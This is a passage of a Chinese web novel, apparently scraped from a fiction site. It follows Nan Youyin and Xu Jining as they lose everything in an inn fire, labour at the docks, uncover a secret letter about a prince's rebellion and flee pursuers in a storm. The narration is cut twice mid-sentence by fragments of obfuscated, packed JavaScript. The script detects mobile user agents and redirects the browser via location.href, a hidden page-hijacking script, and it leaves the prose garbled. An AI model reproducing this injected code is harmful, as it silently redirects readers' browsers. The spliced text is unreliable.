徐寂宁想了一下说道:“看书吧。” 他今天刚淘来一本岭南的地方志,翻开还没看几眼。 南有音道:“好吧,那我要继续去酒 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在她的梦境里有四个太阳,天空也被烤的几乎发白,天上还不断传来“咚、咚、咚”的巨大响声,她口渴的要命,嘴唇满是深深的裂口,她不停地走,却怎么也找不到水源,天上的太阳渐渐压下来了,离她越来越近,热气涌在她的脸上,叫她无法呼吸,她抓住嗓子,难受极了。 而在这时,那些“咚咚咚”的声音更大了,在一声巨响之后,她听到徐寂宁在喊她。 “有音!有音,快醒醒!” 她猛地睁开眼,入眼的是红光一片,烟雾弥漫低垂,呛得人鼻子难受。 “着火了,快走!” 徐寂宁不等她彻底反应过来就把她从床上拽起来,她勉强趿上鞋,就被徐寂宁拉着往外跑,她的眼睛被浓烟熏得一直淌眼泪,但她还是看见自己房间的门被卸了,她骤然明白梦里那些奇怪的响声从何而来了,是徐寂宁在撞门。 火势很大,他们所居住的客栈三楼完全成了一片火海,南有音被徐寂宁拉着刚跑下三楼的楼梯,就听到一声巨响,被烈火灼烧的屋梁就狠狠砸在二人身后。 两人对视一眼,在彼此的眼睛里都看到了泛红的火光和恐慌,加快了脚下步伐,南有音越跑越快,几乎拉着徐寂宁飞一般地逃出了客栈。 一直跑到露天街道,两人才停下,两人怔怔看着烈火中的客栈,看着被火光映红的半边天,拉着的手迟迟没有松开。 周围的居民忙着救火了,四下一片嘈杂,两人又一次对望,发现彼此都狼狈不堪,满脸的汗渍和烟灰,蓬头垢发,南有音身上只有轻薄的里衣,脚上只剩一只鞋子,徐寂宁鬓角的头发因为高温而蜷曲了,黏糊糊地贴在脸上。 两个人都因为对方的狼狈和死里逃生笑了,又后知后觉地发现两个人的手还拉在一起没有分开。 “咳。”徐寂宁抽出手,把身上的褂子披在了南有音身上。 南有音说:“吓死我了。” 徐寂宁点头:“我也是。” “对了,咱们的钱都在你那里,你带出来了吗?” “呃……”徐寂宁从怀里掏出一本地方志,他临时只抓了这本书。 南有音看看那本岭南地方志,又看看徐寂宁,脸上的表情凝固了。 35. 劫后 南有音笑不出来了,她又看向被火焰吞噬的客栈,熊熊燃烧的火焰像是张牙舞爪的怪物,怪物张开血盆大口,把她的细软还有她没看完的话本子,她和徐寂宁没用完的银票还有银两,全都吞噬了。 南有音瞬间脱力地坐到地上,连带着徐寂宁也趔趄倒下。 “有音,怎么了?是受伤了吗?”徐寂宁立即关切地询问,他还沉浸在劫后逃生的心绪之中,全然意识不到还有更大的问题摆在他们面前。 南有音气若游丝:“徐寂宁,我们……破产了!” 徐寂宁似乎很是不解:“怎么了?” “咱们没钱了!” “哦。” 南有音无法理解徐寂宁的平静,对他重申道:“我说咱们身上一分钱也没有了!” “哦,没钱了啊。”徐寂宁仍然一脸地茫然,自小生在挥金如土的高门贵族,他从来不计较自己兜里还有多少钱,因为永远花不完。 南有音对徐寂宁的反应感到绝望了,她不想给这个对金钱没有任何概念的傻子解释什么叫没钱,她不光觉得没法指望徐寂宁想办法赚钱,甚至还在心底冒出了一个非常恼火的念头,就应该让徐寂宁在街头流浪几天,到时候看他还能不能一副高高在上的模样说出什么“穷且志坚”之类的话。 总之,没有钱是一件很严峻的事,她看看徐寂宁又看看自己,现在两人身上统共剩下两身里衣,一件褂子,三只鞋子,还有一本地方志,天亮以后得吃住全成了问题,南有音悲伤地想着小时候那些喝西北风的日子又回来了。 好在现在是夏天,就算露宿街头也不至于冻死,南有音深吸一口气,这样安慰自己。 她开始绞尽脑汁地寻思天亮之后该怎么办,甚至埋怨起自己有不爱戴首饰的习惯了,她喜欢首饰,但她只喜欢看它们在首饰盒里闪闪发光,她不太喜欢把它们带到身上,因为感觉滴里当啷的,会让她束手束脚的。 南有音现在无比的后悔,倘若她现在腕子上带着几只或金或玉的镯子,至少能换些钱来解决当前的燃眉之急。 她灵光一闪,摸了摸自己的耳垂,上面挂着两只米粒大小的耳钉。 她成亲前被母亲押着穿了耳朵眼儿,她不爱天天早晚拆卸耳饰,又怕耳朵眼长起来要重新穿,索性一直戴一对儿睡觉也不用摘的小耳钉,耳钉小小的,镶嵌着绿色石头,她分不清是翡翠或者什么玉石,但她记得这对耳钉是徐府给她的聘礼里的,不是她自己逛街买的地摊货,肯定多少值点钱。 南有音把两只小小耳钉揪下来,在天只蒙蒙亮铺伙计睡眼惺忪地打开铺子门时就进去把耳钉当了,当铺伙计说耳钉上的玉是上好的,只可惜太小了,不怎么值钱。 南有音带着当来的一点钱,第一件事就是先去了成衣铺子挑了几件衣服穿上,毕竟她不想只穿着里衣在街上游荡。 在衣服铺子里她精打细算,选了最便宜的款式,两人从店里出来时大变摸样,完完全全成了当地平头老百姓的模样了。 徐寂宁对这些粗布衣服不太满意,南有音没好气地说:“现在知道什么叫没钱了吧?没钱就别想你那些绫罗绸缎了,你不爱穿就脱了。” 徐寂宁不想在街上什么都不穿,默默揪掉袖口的一个线头,不吭声了。 南有音在街上走来走去,货比三家,选了一家便宜量大的油饼店,买了两只饼,拉着徐寂宁在桥下的空地坐下。 徐寂宁愣愣站着,不知道该坐在哪儿。 南有音拍了拍身边的杂草丛:“坐吧,折腾一晚上了你不累吗?” “呃……”徐寂宁有些迟疑,毕竟那是一丛脏兮兮的杂草,草叶子上还带着几滴露水。 南有音看出徐寂宁的迟疑了,挑挑眉毛:“你要是不嫌累站着吧。” 徐寂宁最终还是坐下了,他扶着右腿,坐下的动作磕磕绊绊,坐下后只觉得右腿膝盖嗖嗖的疼,想必是夜里撞开南有音屋子的门时受的伤。 他来来回回难受地扭动右腿,想要调整到一个舒适的位置,但这种不适始终没能缓解。 南有音在他身边在数手里剩下的一点钱,在脑内飞速的估算这些钱够他们生存多久,夜宿桥洞的话大概能撑三四天,但她看了眼身边扭来扭去的徐寂宁和河滩上飞来飞去的虫子,放弃了这个想法。 但住客栈的话这点钱勉强能够一天。 南有音啃着刚刚买来的饼,思索着接下来该怎么办,她发现这饼又干又散,还没什么味道,难怪便宜量大还少有人买。 她听到身边传来一声被噎住了的声音,徐寂宁像是被饼卡住了嗓子。 徐寂宁猛咳了一阵,然后说道:“咽不下去。” 南有音猛然想起徐寂宁毛病多得吓人,她现在穷得叮当响怎么,没空再考虑徐寂宁那些挑剔又讲究的精细饮食,顿时无比心烦意乱,说话也控制不住的尖酸刻薄起来。 “你咽不下去我也没办法,没钱了就只能吃这些了,”南有音烦躁道,“你多吃几次说不定就适应了,你们这些京城的公子哥儿毛病真多。” 说完她泄愤一样大口咬起手中这个没什么滋味的饼,半晌听到身边传来一个低低的声音。 “有音,对不起。”徐寂宁垂着脑袋轻声说道。他的头发仍然散乱着,脸上的烟灰也没有擦干净,看上去狼狈又可怜。 南有音微微一怔,叹了口气说道:“你也咽不下去就算了吧,反正这饼也确实不好吃。” 她把徐寂宁咽不下去的饼收入腹中,然后带着徐寂宁选了一家便宜客栈,她现在手里没钱了,没法跟之前一样阔气的开两间房了,便又和徐寂宁挤在了一个房间了。 南有音在客栈脏兮兮的菱花镜里见识到了自己鸡窝一样的头发,顿觉大事不好。 说来荒唐,她始终没有学会梳头,在家时总有父母或者弟弟帮她梳头发,在徐府有松梯,从京城到末山这一路上她也没自己动手,总是花点钱让客栈会梳发髻的姑娘或者婆子帮忙,现在好了,她没 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她一直觉得徐寂宁这样的京城少爷大概做不了梳头这种活儿,很惊讶,身体也跟着轻轻颤了一下。 徐寂宁轻声道:“你醒啦?” 徐寂宁的声音又慢又轻,好像拉缓了她从昨夜到现在急急忙忙的节奏,她没有动弹,懒散道:“你什么学会梳头发了?” “一路上看了那么多次,能学个大概。” 南有音有些忐忑不安,她不知道她的头发在徐寂宁手里最后会变成什么样子。但徐寂宁的手法很轻,他很轻柔的梳开她打结的头发,她的头发在他的手里像是一道被手掌托起的黑色瀑布。 这道乌黑的瀑布曲折蜿蜒,最后变成了一个简单笨拙的发髻,算不上太周正,但出门是肯定没有问题。 “哇!”南有音很开心,徐寂宁突如其来地心灵手巧解决了她生活的一大难题,她毫不吝啬的夸赞徐寂宁,夸张到叫人以为徐寂宁梳发髻的手艺天下第一了。 徐寂宁被南有音的热情夸赞冲的脸有点红:“这次右边有点松了,下次肯定会梳的更好看。” “已经很好看啦,”南有音举着镜子左看右看,最后微微一叹,“就是没有好看的珠花簪子来配了。” 她的发簪还不知道被火烧成什么样子了。 “不过什么都不戴跟现在咱们穿的这身粗布衣服也挺配套。”南有音冲着镜子里的自己做了个鬼脸,自从她被南氏夫妇带到京城,她已经好多年没有这般短褐穿结了,她想起那些一个人孤零零的日子,仍忍不住打寒战。 她摩挲着粗糙的布料,安慰自己说虽然是粗布衣服,但至少现在衣服上还没有补丁,虽然徐寂宁格外地挑剔,但至少现在她不是自己一个人。 她打起精神,指挥徐寂宁去火灾现场看看还能不能找回点什么,自己则决定去码头转转,看看有什么赚钱的办法,前几日她天天在客栈远远的看着码头上人来人往,今日,她也要汇入熙熙攘攘的人潮了。 36. 上药 为了赚钱,南有音连着两天早出晚归,她去码头。 末山的码头是一个非常热闹的地方,嘈杂忙乱,来往船只很多,无数的货物要搬下或者搬上船只,这些活儿总需要人,南有音就在这寻了一份差事,拉拽和搬运货物。 前头的人把货物放上板车,南有音就拽着两根粗麻绳拉车,从码头运到商旅的仓库,或者从商旅的仓库再运到码头。 在夏天,这样的活儿总是格外辛苦,尤其是太阳升起后,阳光好像辣椒面一样洒下来,烤的南有音每一寸裸露的肌肤都好像着火了,这倒不是最难受的,南有音最难受的地方是她的两只手。 她看着自己被麻绳磨出血泡的手掌,开始在心底认同起南玉振说她也变成娇滴滴的大小姐的话了,她记得自己小时候干这种重活时从来没有出现过这种情况。 后来她才后知后觉地意识到她的手上没有那一层厚厚的茧了,京城舒适的生活使她远离了农活重活,那层不太好看但会保护她像是铠甲一样的茧随着优渥的生活渐渐褪去了。 她太久不干重活了,但好在她曾经干过,她从脑海中抽调出儿时的回忆,进而很好的融入了码头的工人之中,她和他们一起交谈玩笑,一起鼓气喊号子,最后不比旁人慢太多,得到的工钱也还算客观。 只是干到第二天结束,她觉得浑身的关节像是被卸了一样乏力,两只手又痒又疼,被麻绳磨得红红白白一片,看起来很不乐观。还有两边的肩膀也是,简直不能碰,她自己看不到肩胛骨处是什么模样,但仅凭感觉而言肯定相当糟糕。她的视线仅能看到自己粗麻布衣服的肩膀位置被磨开了口,她心想又要缝补丁了,而后又宽慰自己,至少还只是两块补丁,总比小时候补丁补出来的破烂衣服好多了。 徐寂宁最近很少有机会跟南有音说上话,一方面是因为南有音早出晚归,一方面是因为她回到客栈基本就是倒头就睡,他唯一能做的就是凉好茶水,等着南有音回来一饮而尽。 第二日傍晚,南有音带着西天的晚霞回到客栈时筋疲力尽,她觉得她那个想有一艘船的想法渐渐被打消了,因为太累了,在岸边把东西运上摇摇晃晃的船只简直太累人了。 她一屁股坐在这家便宜客栈摇摇欲坠的竹椅上,昏昏欲睡,强烈的口渴促使她想拿起桌上凉好的水,却发现两只臂膀都不听使唤,她想拿起水杯,但大臂和小臂都是一阵酸痛无力。她看着自己伤痕累累的手,惊讶于自己竟然连拿起茶杯的力气也没有了。 “有音?”徐寂宁困惑地看着南有音左手握住水杯,然后又换右手,然后再换左手。 “我拿不起水杯了。”南有音放弃挣扎了,她摊在嘎吱作响的竹椅上,两条胳膊像是面条一样软软地垂着,她疲惫不堪,觉得睁眼也费力,索性闭眼摊在那儿了。 她听到徐寂宁走动的声音,然后她感到有什么冰凉的东西碰到了她干涸的嘴唇。 徐寂宁端着水杯送到了她的嘴边,她立刻吞饮了起来。徐寂宁则心翼翼地扶着杯子,掌控者水杯的角度,防止一个不小心把水灌进南有音的脖子里。 南有音痛饮了五杯,方才觉得解渴,她摇头示意徐寂宁不用给她倒第六杯,徐寂宁问她还需要些什么吗,她乏力地说她只想休息,要徐寂宁别跟她说话,然后她缩在竹椅里打起了瞌睡。 在她睡着后徐寂宁终于有机会打量这两日风风火火不见人影的南有音,非常明显的是她晒黑了很多,也憔悴了很多,头发不再是复杂发髻和失去了环钗珠宝装点的她看起来比她实际年龄还要小很多,缩在竹椅时竟然看上去很小很轻一团,要知道往日南有音给他的印象总是一株枝繁叶茂的树。 徐寂宁注意到南有音肩膀位置的衣服破了,看起来像是被什么重物磨破了,他试探着轻轻摸了那块破损的区域,无意触碰到南有音的肩胛,瞌睡中的南有音立刻吃痛蹙眉了,然后嘟囔了一句“走开”。 徐寂宁顺着她的臂膀往下看,看到了她的手,上面有一些发白的水泡,红色的是尚未愈合的伤口,颜色更深的则是结痂的,徐寂宁几乎很难相信这是南有音的手。 南有音是被手心处传来的不适唤醒的,她睁开眼时太阳已经彻底落下,窗外黑蒙蒙的,屋内点着一盏灯,桌上摆着一罐味道非常清凉刺鼻的绿色药膏。 徐寂宁跪在她的身边,眼眸低垂,捧着她的手,小心翼翼地涂抹什么。 感知到她醒了,徐寂宁抬眸望向她,好像想冲她笑一下,但没有成功,他的眼睛里倒映着灯光,眼神却无比的…… 怜爱?怜惜?伤心? 南有音说不出那种感觉,只觉得徐寂宁看上去好像心里酸酸的。 “我去药铺拿了点药,”徐寂宁又垂下眼帘,继续涂抹她手上的伤口,“药铺的老板说这种药膏有镇痛疗伤的作用,你觉得怎么样?” “挺好的。”南有音觉得手掌不再火辣辣的疼了,反而感觉非常地清凉。 徐寂宁的手指在她的掌心滑来滑去,让她觉得非常地痒,她忍不住想笑,几乎想把手从徐寂宁的手里抽出来,但徐寂宁只轻轻扣住了她的手腕,她便无法逃脱,她动了动胳膊,无比的乏力,每轻微动弹一下两扇肩胛骨处立刻传来剧烈的酸胀。 “徐寂宁。”南有音轻轻唤了一声。 在处理她的手心伤口进行收尾工作的徐寂宁立刻看向她。 “还有肩膀,”她疲倦地说道,“我的两边肩膀也很痛。” 徐寂宁处理好南有音的手心后有些为难,毕竟南有音的肩膀什么的都藏在衣服里。 “我胳膊使不上劲儿。”南有音徒劳地够了够自己领口的纽扣。 徐寂宁犹豫了片刻,轻声说:“我来吧。” 他白皙细长的手指第一次解开了南有音的衣领,他尽量轻柔地把南有音的衣服往两边褪去,然后他见到了南有音的两肩,还有后背。 这是他头一次在灯光下明目张胆的看她的身体,他感到脸上有点发热。 南有音后背的肌肤很细腻,徐寂宁很清楚地看到了其中的擦痕与瘀迹,这些伤痕好像剐蹭他的心脏,让他也觉得发痛,他把药膏抹在其上,很轻很轻,南有音却仍时不时微微的颤抖。 “很痛吗?”他问道。 南有音说:“不算很疼,主要是你这样轻轻地碰我,让我好痒好想笑啊。” 她说不算很疼那总归还是疼的,徐寂宁默默地在心里叹息,他说道:“明天你不要去码头了,换成我去,你来继续调查这座城有什么古怪。” 这下南有音没忍住笑出声了,她一笑就牵动着肩膀乱颤,搞得她又觉得痛,她既想笑又吃痛,脸上的表情变幻不定,让徐寂宁也勉强笑了。 “你去码头?”南有音强忍着笑,“你去?” 她满是不相信的语气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445796|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 徐寂宁困惑道:“我不能去吗?” “你受不了的,”南有音强压住笑意,声音显得非常局促,“你这样的京城公子哥儿是做不了那些活儿的。” “你看我,”她长长叹了口气,“只是几年没做过这些重活儿,身体就适应不了了。” 徐寂宁有些诧异:“你过去做过这些?” “小时候啦,在父亲和母亲收留我之前,不过我在一个北方的村子里,那里没有码头,都是麦田,”南有音说道,“我那时为了活下来总得想办法混口饭。” 徐寂宁不知道该说些什么,他向来天真的以为天下所有人都有着跟他差不多的衣食无忧的童年。他沉默又忐忑地小心涂抹药膏,为南有音背上地一块淤青感到触目惊心。 他重复说道:“有音,明天你还是不要去码头了。” “也是,”南有音动了一下她面条一样软烂的胳膊,“我也觉得我不能去了,但你……” 徐寂宁执意要去码头,南有音懒得跟他争,嘟囔了一句那随便你。 而后两个人都安静了下来,只剩下虫鸣和徐寂宁上药时一些衣物摩擦的声音,但渐渐的,他们两个又听到了其他的声音。 这可能就是便宜客栈,桌椅老得快要散架,床上总有扫不干净的沙子,隔音效果也很差。 南有音和徐寂宁听到了一些男欢女爱的声音,可能来自左右隔壁,可能来自楼下,也可能来自天花板,总之声音清晰,直直地钻进耳朵,叫人无法忽视。 这种噪音迟迟没有停下,徐寂宁脸又红了,在燠热凝滞的夏天夜晚,这个房间好像突然缩小了百倍,他现在能够无比清楚的感受到细腻肌肤在他掌下的温度,更能够清晰地闻到南有音身上独有的味道。 他有些不敢碰南有音的肌肤了,他把清凉镇痛的药膏点在她的肌肤上,手指却像是被火灼了一样,他感觉嗓子发干,好像有什么着火了。 他觉得火焰在他的血管里奔驰,前几日的大火好像仍未熄灭,零零星星的火星在他的心里烧起来了。 不知哪个方向传来的或高或低的声音让南有音也不自在起来,她不自觉地将注意都集中到了肩背处,以至于她非常清晰地感觉到徐寂宁的手划过她的肌肤,她忍不住微微有些战栗,一种有点酥麻的感觉在她的四肢游走。 “徐寂宁。”她有些沙哑地叫到。 “嗯?”徐寂宁好像被吓了一跳,他脸很红,匆忙说道,“那个,药已经上好了。” “哦。”南有音眨眨眼,径直站起来走到床上趴下了。 徐寂宁磨磨蹭蹭收拾完桌上的药,也躺下了。 永州之后他们就分开了,这是很久之后两人的又一番同床共枕,客栈的床很窄,他们不得不靠的很近。 不知从何而来的噪音结束了一轮又开始了新的一轮。 南有音轻声的笑了。 “你笑什么?”徐寂宁呼吸有些灼热地问道。 “我在笑你比较辛苦,”南有音打了个哈欠,“我很累,一会儿就睡着听不到这些声音了,你还要再听一阵。” “有音。” 徐寂宁喉结上下滑动着,意味不明地叫了她一声。 但南有音真的很累,她呢喃着随便答了一声,就陷入了沉沉睡眠。她含混地说道:“反正你很能忍,辛苦一点吧,作为朋友我很遗憾帮不上忙……” 37. 闷雷 “你去码头了?” 可能因为疲倦,南有音睡得很好,一夜无梦,再度醒来时太阳已经老高了,徐寂宁不在,她身侧的床空了,于是她在床上无拘无束的摆成一个大字型,又睡了过去,直到正午过后屋里越来越热,她才不太情愿地爬起来。 睡过一夜后她感觉身体好多了,虽然四肢还是发酸,但已经影响不了她上蹿下跳了。 桌上摆着两个包子,还有凉好的水,看起来像是徐寂宁留给她地早餐。 南有音抓起两个凉透了的包子几口吞了进去,冷了的包子馅油腻腻的,还有一股怪味,她是不挑剔的,但她下意识觉得徐寂宁是咽不下去的。 她不知道这两天徐寂宁有没有吃东西,徐寂宁本就挑三拣四,过去银子充足时还能有条件挑挑拣拣,现在打零工度日,她能吃下地摊小贩的手艺,徐寂宁够呛。 但她转念一想正常人又不会把自己饿死,于是就懒得想徐寂宁了。 她把自己洗漱拾掇干净了,看了看自己头上散乱但不至于完全散开的发髻,这会子却又想起徐寂宁了,但徐寂宁显然不在,她不敢动自己的头发,只好学着街上妇女的模样裹了块头巾遮掩一下,然后出门去酒馆听说书了。 酒馆里零零星星没有几个人,南有音抠抠搜搜选了一碗最便宜的酒,然后就坐在前面听说书的讲话本子。 不一会儿酒肆小二就把冰镇了的酒端了上来,南有音惊讶她选的酒又便宜又大碗,略略尝了一口舌头差点被煞掉了,她没有徐寂宁那样地舌头,尝不出好坏,只能粗略猜到这酒度数大概不低。 她闲着没事,就一口一口的抿,越来越觉得酒馆说书人讲得话本子都不好听,连着听了三个话本子,碗里的酒也见底了,南有音脑袋有些晕,当场拍桌子说这故事结尾不好。 上次她和徐寂宁在酒馆打探消息时她就在这听了一肚子憋屈的故事,这次也是,她算是发现了,整个末山城的话本子质量比起京城来实在落后太多了。 台上说书的听有人说不好,见说话的是一个粗布衣服的小姑娘,便下台来和她理论。 “你个乡下丫头懂什么?”说书人上下打量她的穿着,又见她喝地是最便宜的酒,语气里带了几分轻蔑。 有几分醉意的南有音立刻被这说书的激到了,她立刻说道:“只说你最后讲得这出殷巧娘二嫁宁少君,殷巧娘嫌弃宁少君好吃懒做愤而和离,宁少君醒悟悔不当初奋发图强高中状元,这些倒也罢了,怎么结局非要殷巧娘后悔了,非要去做再嫁宁少君做妾?依我看殷巧娘胆大聪明才会选择和离,宁少君因着和离醒悟,殷巧娘该是他的恩人才对,宁少君该对她礼遇有加,不应该像你讲的那样嘲笑她有眼无珠不识未来状元郎,这结局叫人听了可不痛快。” 南有音一番话说下来,酒馆里零散的几个听客琢磨了一下也都点头称是,说书的仍是不服,说道:“姑娘这改法倒是新颖,可末山城里哪能找出这样的话本子,你若嫌结局不好,便自己写去。” 说书的冷冷笑了两声,又道:“不过看姑娘这打扮,估计大字也不识一个,也就逞逞口舌的威风。” 估计是酒壮怂人胆,南有音大声说道:“谁说我不会,拿笔来,我这就把你这故事改了。” 酒馆里的其余看客一下子都兴奋起来,围到了南有音身边,她提着笔,愤愤然把这出殷巧娘二嫁宁少君改了,她原想写两人一别两宽各自安好,可周围人非要看破镜重圆,她略一琢磨,剧情变成了宁少君高中状元后仍然念着发妻,拒绝了皇帝招他做驸马的主意,回乡重新求娶殷巧娘,这次他不在好吃懒做,而是勤学守礼,学会洗衣做饭,终于凭借一碗打卤长寿面重新赢得殷巧娘的芳心,自此两人开了一家面馆,隐居乡下,过上了幸福的生活。 有人啧舌,说宁少君都中了状元了怎么还回家开面馆,简直太假了,南有音酒上了头,忍不住说道:“谁说考上状元就不能开面馆了,人各有志,又不是非要读书,更何况就算是状元郎,到了京城做官儿,仍旧要吃百姓纳上去的粮食过日子。” 南有音又想起徐寂宁在京城做官被排挤的事,有些为他抱不平,又说道:“何况当官儿也不一定是什么好差事,官场上变幻莫测的,人心也难辨真假,说不定还不如当个面馆老板自在呢。” 众人议论纷纷,有一人忽然向南有音问道:“姑娘哪儿的人,口音不像是本地的。” “我?”南有音下意识回答的仍是儿时的家乡,“月陵的,离这儿很远,在北地一个经常下雪的地方。” 那人又说:“可我听姑娘口音好像有京城的腔调呀。” 南有音感到几分奇怪,她顺着声音的方向看过去,却找不到说话的人,酒馆的众人又提议叫南有音把其他话本子也改了,南有音忙得不亦乐乎,这点小小插曲也就抛到脑后了。 南有音改过的话本子结局收到了很多称赞,临走前酒馆的老板娘还送了她好多点心,叫她记得常来改话本子,这让她一时有些晕晕乎乎的,觉得中了状元的不是什么宁少君之类的,而是自己。 她离开酒馆时不算太晚,但天色昏暗,刚刚出门时阳光灿烂的大晴天转眼间就变成了黑压压的乌云天,天边的云彩黑得像是要掉下来,压的地上没有一丝流动的风,预示着将有一场暴雨来袭。 南有音怕被雨淋,紧赶慢赶回到客栈,她一推开门,就看到徐寂宁卷起一条腿地裤管子,见她回来紧张又迅速地把自己的裤腿放下,仿佛怕她见到一样。 但南有音的注意力被桌上一小团黑漆漆脏兮兮的铜板吸引了,她很熟悉这种油腻的铜板,码头的工钱就是这样的。 “你去码头了?” “你去喝酒了?” 两人异口同声。 徐寂宁闻到了南有音身上的酒气,一种劣质酒水的味道,他说道:“你喝的酒很便宜?” “最便宜的酒啦,放心,花不了几个钱,”南有音扬了扬手里的点心盒子,得意洋洋道,“我把酒馆的几出话本子改了结局,老板娘还送了我点心,其实是赚啦。” “不,我不是那个意思,”徐寂宁小声道,“我想说你不该喝太差的酒,容易醉,伤嗓子伤胃,我也去码头赚钱了,下次你想喝可以喝好点的。” “不是,你真去码头了?”南有音发现徐寂宁的额头爆皮了,像是被太阳晒的,她觉得难以置信,她已经默认徐寂宁这样从小到大娇生惯养的公子哥儿吃不了这种苦了 “嗯,不过工钱还不如你的一半,”徐寂宁垂着眼帘,他在码头混得不咋样,他不太知道该如何融入其中,可能他白面小生的相貌在肌肉结实的劳工中格格不入,也可能他举手投足的矜贵气度看起来太过弱不禁风,在码头这样一个靠力气生存的地方毫无用处,最主要的原因是他的效率实在太低,叫人看了笑话。 但他还是说道:“等我再去几次熟悉了就好了。” 南有音清点了铜板,算了算开支预算,然后突然笑出了声,天气很闷,她的笑声听上去都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445797|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么清脆了。 徐寂宁莫名其妙:“你笑什么?” “我算了算账目,要是想要维持咱们两个的开支,咱们就得不停地去码头做工,”南有音又笑了一阵,扶着桌子勉强道,“我只是在想,过个十天半个月,咱俩就晒成古铜色,身上练出满身的腱子肉了。” 她一想到又瘦又白净的徐寂宁变得又黑又壮,就觉得很滑稽又很好笑。 “不过话说,咱们要在这待到什么时候啊?薛大人有回信了吗?”南有音止住笑后问道,“酒馆老板娘说她哪儿还有好多老套话本子,要我有空就去,把结局都改一改,翻新一下。” “对了,薛大人的回信了,我回来时刚刚收到的。”徐寂宁把桌上的一纸信笺递给了南有音,“你看看你能不能读出什么?” 信写得文绉绉的,南有音读完一头雾水:“呃……薛大人好像没说什么有用的?” 徐寂宁道:“我也奇怪,这信上写的好像都是些无关紧要的东西。” 两人对着信笺左看右看,分析无数,最终什么也没有发现。 窗外的乌云压得更低了,似乎就挂在了屋檐,屋里彻底黑得什么也看不见了,南有音点了一盏灯,忍不住道:“可能薛大人就是没什么要说的吧,只是你寄信给他,他觉得不回复不太好意思。” “这不太可能,父亲说过薛停严谨甚微,皇上可能就是看重他这点才派他巡按岭南,”徐寂宁举起信笺,对着灯光继续仔细查看,“我猜肯定有什么,只是我们——” 他的声音骤然停止,将信笺与烛光离得更近了些,片刻后猛然一震:“这信有夹层!” 他和南有音对视一眼,两个脑袋凑在灯下,紧张地一点一点揭开信纸夹层。 夹层的内容很简短,寥寥几句,一是说皇帝派徐寂宁来末山是为了查永安王谋反的证据,二是说永安王似乎已经觉察到朝廷的意图,让徐寂宁千万小心,万不可暴露身份,免得引来杀身之祸。 天空骤然传来一阵响雷,像是在屋顶上炸开一样,南有音与徐寂宁双目相对,具是惊出了一身冷汗。 藩王谋反,自古以来都是惊天动地的大事。 南有音起身关上开始潲雨的窗子,隔绝了外面阵阵雷鸣与哗哗作响的雨声,屋内忽然安静了很多。 “万不可暴露身份……”徐寂宁喃喃道,“如此看来当初那场火——” 大火过后徐寂宁曾返回去看看还能不能捡到点剩余的破烂,却无意听到有人说那火不是意外,而是有人故意为之。 他想起那日他们去了当地的赌场,一口京城的官话显得难以融入。 他们二人的身份恐怕早就暴露了。 只是大火过后他与南有音从京城带来的东西烧了个精光,两人趁着天还未亮就换上了本地人的装扮,融入到了码头附近的人潮之中,一时叫人找不到了而已。 徐寂宁回想他这几日在外几乎没有开口说话,虽然不至于暴露京城身份,但在码头一众劳工中手不能提肩不能抗的模样未必不会遭人怀疑。 “有音,”徐寂宁嗓音在沉闷的雨夜显得有些凝重,“最近你有遇到什么奇怪的人或事吗?” 南有音道:“我在酒馆时,有一个人说我有京城的口音。” 话音落后,两人具是瞪大了眼睛,一片安静之中,他们都听到了楼下传来了一些嘈杂的声音,徐寂宁猛地起身拉开门,嘈杂的声音更清楚了,有人闯入了这家客栈,在搜查什么。 38. 山林 南有音迅速收拾了桌子上的几颗铜板与点心,又用烛火点燃了薛停的信。 徐寂宁皱眉摇头道:“已经出不去了。” 走廊里“噔噔噔”上楼梯的脚步声愈来愈响。 “谁说要走正门。”南有音麻利地把门拴上,跑到窗户边,一把拉开窗户,瓢泼大雨瞬间被狂风刮入。 徐寂宁有点愣:“从窗户走?” “不然呢,我可不想跟你一块死在这种乱糟糟的客栈!”南有音朝徐寂宁挥了挥手,而后敏捷的攀上窗缘,接着身影迅速消失在窗户后边。 “有音!”徐寂宁大惊失色,奔到窗户边,窗外风怒雨愤,哗哗作响,周围更是黑漆漆的一片,压根什么也看不到,身后来被木门撞击的声音,那薄薄一层木板做成的门发出脆弱不堪的呻吟。 窗户下面一片漆黑之中传来了南有音急切的声音:“我教过你爬墙的,你快下来!” 徐寂宁有些犹豫,却又听到南有音说道:“放心吧,我会接住你!” 眼见身后的走廊传来的抓人的喧嚣声越来越大,徐寂宁心一横,学着南有音的样子,扶着窗柩翻了出去,黑暗中他看不到落脚处,在滑溜溜的墙壁上打滑,终于手臂支撑不住,直直落了下去。 他没有像自己预想的一样重重砸在地面上,也没有像南有音承诺地那样落到她的怀抱里,他落到了一丛灌木上,右膝一阵猛烈的疼痛。 一阵短暂地窸窸窣窣声,南有音拨开灌木,焦急问道:“徐寂宁,你还好吗?” 徐寂宁等着右腿的痛缓过去,才扶着南有音站起来,轻声道:“还好。” 南有音茫然地注视着四周的黑暗和簌簌而下的雨点,问道:“咱们接下来往哪儿走?” 徐寂宁道:“你那么利落的跳下窗户,我还以为你有注意呢。” 南有音抹了一把脸上的雨水道:“我原想先逃出来再说,但现在天太黑了,我连东西南北都分不出来了。” 黑暗中传来一阵嘈杂,几个提着灯的人从客栈出来,领头的那个叫到:“抓紧搜,这破天气他们逃不了多远。” 那几个身影立即四散而去,其中也在往南有音二人方向来的。 